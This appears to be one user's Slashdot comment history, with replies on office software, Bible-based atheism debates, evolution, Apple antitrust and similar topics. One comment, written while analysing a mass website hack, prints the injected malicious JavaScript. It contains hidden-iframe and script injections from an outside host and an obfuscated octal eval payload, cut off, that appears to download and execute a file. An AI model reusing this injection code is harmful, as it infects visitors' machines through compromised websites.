User: jcaldwel

Re:First rule of effective communication

On: Of 1.2 Billion Twitter Posts, 71% Are Ignored

a whopping 71% of them got no reaction whatsoever

Well, good! If you have nothing to say, say nothing.

...

Re:Awesome...

On: Large Sheets of Carbon Nanotubes Produced

I'm not sure who Mr. Hall is, or what he has to do with naming conventions and misspellings

http://en.wikipedia.org/wiki/Charles_Martin_Hall

New FUD Headline

On: Microsoft Launches IT Superhero Comic

Microsoft launches User Friendly killer.

Re:Any way to...

On: NSI Registers Every Domain Checked

I wonder if they would stop if the requests were routed through Tor. I bet they are flagging the IP of the requester.

Re:This is NOT a mass attack

On: Mass Hack Infects Tens of Thousands of Sites

I was able to see the script http://c.uc8010.com/0.js referenced in the Google search descriptions. I do a wget and inspect it, it sets a cookie, and includes another script through document.write, which in turn does some funky JS, and includes another script.

The moral of this story: This probably isn't a web site defacement attempt, but probably a browser hijack attempt. I don't follow IE security patches close enough to match anything with a knowledge base article, but some of the JS looked like buffer overflow attempts... particularly the following block:

document.writeln("<iframe src=http:\/\/c.uc8010.com\/1.html width=1 height=0><\/iframe>");
document.writeln("<script src=\'http:\/\/s106.cnzz.com\/stat.php?id=742266&web_id=742266\' language=\'JavaScript\' charset=\'gb2312\'><\/script>");
document.writeln("<script src=\'http:\/\/c.uc8010.com\/0\/007.js\' language=\'JavaScript\'><\/script>");

eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\141\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\54\143\150\151\156\141\51\73\15\12\154\157\166\145\133\42\117\160\145\156\42\135\50\51\73\15\12\154\157\166\145\133\42\127\162\151\164\145\42\135\50\160\163\133\42\162\145\163\160\157\156\163\145\102\157\144\171\42\135\51\73\15\12\154\157\166\145\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\143\150\151\156\141\54\62\51\73\15\12\154\157\166\145\133\42\103\154\157\163\145\42\135\50\51\73\15\12\166\141\162\40\123\155\101\143\161\111\167\107\126\70\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\15\12\145\170\160\61\75\150\110\14

HG2G

On: Russia to Search For Life on Europa

If you keep it up, you can eventually get promoted to Senior Shouting Officer, and there are not usually many vacancies for non-Shouting and non-Pushing People About Officers, so I think you ought to stick to what you know.

Re:OpenOffice?

On: Goodbye Cruel Word

OpenOffice is presented similarly, but "feels" different. Like Office 2007 does, only better. I enjoy writing in OpenOffice more than with MS Word, but that just may be because that which you use often gets familiar, like a favourite pair of shoes...

I think it is more than what is familiar. My dad is a non-techie, he only gets in front of a computer if he absolutely has to. A few months ago he bought MS Office 07, and was not able to figure out the "ribbons" interface. He called me for support, and I pointed him to OO. He still has them both installed, but uses OO.org exclusively because he finds it much easier.

The experience has left me with warm fuzzies, because he doesn't have a bias for OSS, like I do.

In related news, a colleague just told me that his 80-year-old mom found Ubuntu easier to use than Windows [not a joke].

More Technical Info

On: Scientists Recycle CO2 with Sunlight to Make Fuel

Here is a link for more technical information on how this works http://www.greencarcongress.com/2007/12/sandia-applying.html

Re:of divine origin != infallible

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

I concede on the Zechariah and Judges verses. I may have been taken them out of context. You, sir, have out-Bibled me. :-). I have read the Bible cover-to-cover multiple times in my more theistic youth, but I was around 17 the last time I did (years and years ago).

Many of your explanations have been about differences in interpretations. Every Christian religion chooses its own set of verses to pay attention to, and which to ignore, hence my statement that Christians' morals come from somewhere other than the Bible.

It seems redundant that I, as an atheist agree with you on the point that the Bible is flawed, but I see the admission of flaws in a book on which so much rides as a slippery slope. If the Bible is flawed, which parts? The parts that we can't bring ourselves to agree with in moral conscience? The parts that we can prove as historically/scientifically inaccurate? You can only base a flawed belief system on a flawed book.

An interesting though experiment: re-read one of the sections I accused of genocide. Replace the name of the God-follower with the name "Hitler" and the name of the conquered nation as "Poland"... can you agree with the actions of the aggressors then? I know those are loaded names, so perhaps you want to make up some fictitious names. The Bible often states that these actions were commanded by God. Is this the same God that you worship in Sunday services?

"Different times" is hardly an excuse if this book is seen as the foundation of moral code, or a belief system.

I'm weary of this thread, but I wanted to acknowledge your argument.

Re:user is male

On: Weave... Mozilla Is Trying To Be More Social

This makes me cringe, too, but technically, according to Webster, "he" can be used in the "generic sense or when the sex of the person is unspecified".

I can't call the language non-biased, but the bias exists in the English language itself.

That being said, the author should have followed basic writing etiquette and replaced the pronouns with him/her, he/she, etc... or, get rid of the gender-biased pronouns altogether and restructured the sentences to use words like "oneself".

Re:ah!

On: Bill Gates and Microsoft Fund Telescope

g_bHungarianNotCausesBrainDamage = TRUE;

:-)

Flamebait mod unfair

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

The flamebait mod of the parent was unfair. Yahweh would be a scary, immoral bastard if he were real. Thank non-god he isn't. Silly theists, myths are for kids!

If a book is of divine revelation, does that not mean that it has to be true in its entirety? Christians do not follow many of the practices talked about in the Old Testament, and, in fact, would be abhor many of them if they were to take place in modern times.

The fact that Christians pick and choose which verses to incorporate into their moral code, and which to ignore shows that their sense of morality comes from somewhere other than the Bible itself.

I invite anybody to check my references.

Numbers

According to the Book of Numbers, Moses commanded his people to kill all Midianites, except for the female virgin children, which the soldiers were to "keep alive for [themselves]":

Numbers 31:15-18 (King James Version) (http://www.biblegateway.com/passage/?search=Numbers%2031:15-18;&version=9;)

15. And Moses said unto them, Have ye saved all the women alive?

16. Behold, these caused the children of Israel, through the counsel of Balaam, to commit trespass against the LORD in the matter of Peor, and there was a plague among the congregation of the LORD.

17. Now therefore kill every male among the little ones, and kill every woman that hath known man by lying with him.

18. But all the women children, that have not known a man by lying with him, keep alive for yourselves.

This passage implies pedophilia, rape, and genocide. Certainly this is not anything that we would condone today.

Judges

According to the Book of Judges, the same fate was sentenced to the inhabitants of Jabeshgilead:

Judges 21:10-24 (King James Version) (http://www.biblegateway.com/passage/?search=Judges%2021:10-24;&version=9;)

10. And the congregation sent thither twelve thousand men of the valiantest, and commanded them, saying, Go and smite the inhabitants of Jabeshgilead with the edge of the sword, with the women and the children.

11. And this is the thing that ye shall do, Ye shall utterly destroy every male, and every woman that hath lain by man.

12. And they found among the inhabitants of Jabeshgilead four hundred young virgins, that had known no man by lying with any male: and they brought them unto the camp to Shiloh, which is in the land of Canaan.

13. And the whole congregation sent some to speak to the children of Benjamin that were in the rock Rimmon, and to call peaceably unto them.

14. And Benjamin came again at that time; and they gave them wives which they had saved alive of the women of Jabeshgilead: and yet so they sufficed them not.

15. And the people repented them for Benjamin, because that the LORD had made a breach in the tribes of Israel.

16. Then the elders of the congregation said, How shall we do for wives for them that remain, seeing the women are destroyed out of Benjamin?

17. And they said, There must be an inheritance for them that be escaped of Benjamin, that a tribe be not destroyed out of Israel.

18. Howbeit we may not give them wives of our daughters: for the children of Israel have sworn, saying, Cursed be he that giveth a wife to Benjamin.

19. Then they said, Behold, there is a feast of the LORD in Shiloh yearly in a place which is on the north side of Bethel, on

Funny

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

Actually, the lazy god theory makes a lot of sense. In this model, God came into being at the same time as the universe. The infantile God watched as the universe exploded into reality, bedazzled by the show of shiny lights. This God bumbles around, putting conveniently-sized objects into its mouth -- leaving a trail of slime, germs and all manner of excrement; hence life on Earth. Perhaps the God is not lazy, but in some phase akin to "terrible twos" (or perhaps teen angst, it's hard to know the difference from our perspective), alternating between wanton destruction, bemused obeservation, and boredom.

Ha! I love that - maybe God isn't dead/lazy/whatever... maybe he is just incompetent! This should have been modded funny, IMO.

Re: it's programmed to be this way

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

Near death experiences can also be induced by the drug ketamine.

Re: it's programmed to be this way

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

that life was created by random chance

Read much of evolution theory? Evolution is not fundamentally a random process. DNA Mutation happens all the time. Some put it at 17 mutations per person per generation. Pit that against billions of years of time, and the common-sense notion that some variations ensure their own survival (survival of the fittest), and voila, you have evolution at its grad scale.

May I suggest the book Climbing Mount Improbable for a better/more complete explanation.

Re:Virtual Turtles All the Way Down.

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

*shrug* Me, I just hope that if this is a virtual universe, it is Strongly Typed.

Sorry to be the one to break it to you, but it's not... it at least two cases.

Re:1637 called, they want their idea back.

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

No kidding... this theory is René Descartes Meditations with the following sed scripts

s/malevolent demon/virtual reality simulation/g

s/philosophy/science/g

Re:Intelligent design version

On: Scientist Suggests We Explore 'Universe is a VR Simulation' Theory

Creationist suggests our God was created by a second God.

Segmentation Fault (core dumped)

Damn infinite recursion.

I for one...

On: Microsoft Patents Frustration-Detection System

Er... nevermind.

Re:Star Light, Star Bright

On: Scientists Fly to 2008's Most Dazzling Meteor Shower

Point taken... degrees or radians are not SI units. They do, however apply to the "there aren't any units of revolution" part of the statement.

Your point brings to light the fact that "neither metric nor imperial" poses a false dilemma: there are units of measure that are neither metric or imperial.

Re:WMA

On: Antitrust Suit Filed To Halt Apple 'Music Monopoly'

Point taken. Even so, I don't think they should be obligated to provide a feature, especially if they would have to pay ROYALTIES to Microsoft on every product sold.

WMA

On: Antitrust Suit Filed To Halt Apple 'Music Monopoly'

Windows Media is a proprietary Microsoft format! How can you sue someone for not implementing a competitor's file format?

Re:Magnatune.com

On: Investors, "Beware" of Record Companies

Silly theist. That's "atheist propaganda."

Re:Firefox...

On: MS To Push Silverlight Via Redesigned Microsoft.com

I believe it's supposed to work with FF / Linux.

I believe Silverlight on Linux is what Novell's Mono project is supposed to be about.

Re:Stock shares?

On: Investors, "Beware" of Record Companies

- Sony BMG Music Entertainment [google.com], appears to be a private company, so no data

I believe SNE acts as a holding company for the private Sony/BMG shares, so it would be included in the SNE ticker. The Yahoo! profile of the stock seems to support this.